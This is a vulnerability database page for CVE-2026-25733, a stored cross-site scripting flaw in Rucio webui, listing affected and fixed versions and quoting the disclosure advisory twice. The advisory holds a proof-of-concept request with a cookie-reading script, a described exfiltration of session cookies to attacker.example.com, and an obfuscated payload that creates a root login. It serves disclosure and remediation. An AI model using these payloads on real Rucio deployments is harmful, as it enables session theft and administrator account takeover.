CVE-2026-25733: Rucio webui Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-rwj9-7j48-9f7q
CVSS 7.3
CWE-1004 CWE-79
Published
Advisory Summary

CVE-2026-25733 is a HIGH (CVSS 7.3) cross-site scripting vulnerability (CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag) affecting Rucio webui libraries in the PyPI ecosystem. The issue involves rucio webui vulnerable to stored cross-site scripting (xss) through custom rule function. Remediation is available by upgrading affected packages to version 35.8.3, 38.5.4, 39.3.1.

CVE-2026-25733 at a Glance

CVE Identifier CVE-2026-25733
GHSA Identifier GHSA-rwj9-7j48-9f7q
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Affected Product Rucio webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-25733

To remediate this vulnerability, upgrade all affected Rucio webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rucio-webui fixed: 35.8.3
pip install rucio-webui>=35.8.3
rucio-webui fixed: 38.5.4
pip install rucio-webui>=38.5.4
rucio-webui fixed: 39.3.1
pip install rucio-webui>=39.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show rucio-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25733, inspect your installed packages using pip:

pip show rucio-webui

Analyze the terminal output to locate any version of Rucio webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 35.8.3), your application is affected.

Note: The pip show rucio-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag, where the product uses a cookie to store sensitive information, but the cookie is not marked with the httponly flag. In Rucio webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details A malicious payload supplied in the `comment` field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin. **Create Path**: Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment **Trigger Paths**: - **User Trigger**: Monitoring > Subscriptions and Rules > Show My Rules > *RULE NAME* (`https://localhost:8443/ui/rule?rule_id=<RULE_ID>`) - **Admin Trigger**: Data Transfer (R2D2) > Approve Rules > *RULE NAME* **Create Request** ```http POST /proxy/rules/ HTTP/1.1 ... {"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"} ``` **Response** ```http HTTP/1.1 201 CREATED ... ["c2d675c1979d4549b26eede3531a7e6a"] ``` **Creating RSE with XSS payload in comment** <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" /> **Reviewing rule creation requests** <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" /> **XSS Payload triggering on rule review** <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### Resources - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

CVE-2026-25733 Affected Rucio webui Versions

3 component(s)
Fixed Versions:
35.8.338.5.439.3.1
Product / Package Ecosystem Affected Versions Fixed Version
rucio-webui
PyPI
< 35.8.3
35.8.3
rucio-webui
PyPI
≥ 36.0.0rc1
< 38.5.4
38.5.4
rucio-webui
PyPI
≥ 39.0.0rc1
< 39.3.1
39.3.1

References

Frequently Asked Questions

What is CVE-2026-25733?
CVE-2026-25733 is a security vulnerability in Rucio webui involving Rucio WebUI Vulnerable to Stored Cross-site Scripting (XSS) through Custom Rule Function under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.
Which Rucio webui versions are affected?
Affected versions include releases prior to 35.8.3, 38.5.4, 39.3.1 across affected packages: rucio-webui.
What version fixes CVE-2026-25733?
Upgrading to 35.8.3, 38.5.4, 39.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rucio-webui affected?
Yes, rucio-webui is affected in releases prior to 35.8.3, 38.5.4, 39.3.1. Upgrade your dependency to 35.8.3, 38.5.4, 39.3.1 or later.
What is the CVSS score of CVE-2026-25733?
CVE-2026-25733 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-25733?
CVE-2026-25733 is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.).
How can I check PyPI dependencies for CVE-2026-25733?
Run the dependency tree command: 'pip show rucio-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rwj9-7j48-9f7q",
  "modified" : "2026-02-27T21:50:07Z",
  "published" : "2026-02-25T18:58:20Z",
  "aliases" : [ "CVE-2026-25733" ],
  "summary" : "Rucio WebUI Vulnerable to Stored Cross-site Scripting (XSS) through Custom Rule Function",
  "details" : "### Summary\nA stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.\n\n---\n### Details\nA malicious payload supplied in the `comment` field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.\n\n**Create Path**:  \nMonitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment\n\n**Trigger Paths**:  \n- **User Trigger**: Monitoring > Subscriptions and Rules > Show My Rules > *RULE NAME*  \n  (`https://localhost:8443/ui/rule?rule_id=<RULE_ID>`)\n- **Admin Trigger**: Data Transfer (R2D2) > Approve Rules > *RULE NAME*\n\n**Create Request**\n```http\nPOST /proxy/rules/ HTTP/1.1\n...\n{\"dids\":[{\"scope\":\"test\",\"name\":\"dataset1\"}],\"account\":\"pentest\",\"ask_approval\":true,\"activity\":\"User Subscriptions\",\"rse_expression\":\"WEB1\",\"copies\":1,\"grouping\":\"DATASET\",\"lifetime\":15552000,\"comment\":\"<script>alert(document.cookie)</script>\",\"asynchronous\":false,\"notify\":\"N\"}\n```\n\n**Response**\n```http\nHTTP/1.1 201 CREATED\n...\n[\"c2d675c1979d4549b26eede3531a7e6a\"]\n```\n\n**Creating RSE with XSS payload in comment**\n<img width=\"1032\" height=\"667\" alt=\"Creating RSE with XSS payload in comment\" src=\"https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4\" />\n\n**Reviewing rule creation requests**\n<img width=\"1201\" height=\"625\" alt=\"Reviewing rule creation requests\" src=\"https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7\" />\n\n**XSS Payload triggering on rule review**\n<img width=\"1197\" height=\"417\" alt=\"XXS Payload triggering on rule review\" src=\"https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e\" />\n\n---\n### Impact\nAny authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.\n\nThe impact is amplified by:\n- Session cookies that are accessible to JavaScript (missing HttpOnly flag).\n- API tokens exposed to the WebUI via JavaScript variables.\n\nAn attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).\n\nAttackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.\n\n**XSS Payload to Create Root UserPass**\n```html\n<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>\n```\n\n---\n### Remediation / Mitigation\nAll client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping.\n\nAdditional defense-in-depth measures include:\n- Enforcing a strict Content Security Policy (CSP).\n- Setting the HttpOnly flag on session cookies.\n- Avoiding exposure of API tokens in JavaScript-accessible variables.\n\n> Note that many pages were found setting the API token as `token` in an authenticated response like `var token = \"root-root-webui-...:\"` (See `/ui/list_accounts` for example)\n\n---\n### Resources\n- OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "35.8.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "36.0.0rc1"
      }, {
        "fixed" : "38.5.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "39.0.0rc1"
      }, {
        "fixed" : "39.3.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/security/advisories/GHSA-rwj9-7j48-9f7q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25733"
  }, {
    "type" : "WEB",
    "url" : "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rucio/rucio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/35.8.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/38.5.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/39.3.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1004", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T18:58:20Z",
    "nvd_published_at" : "2026-02-25T20:23:47Z"
  }
}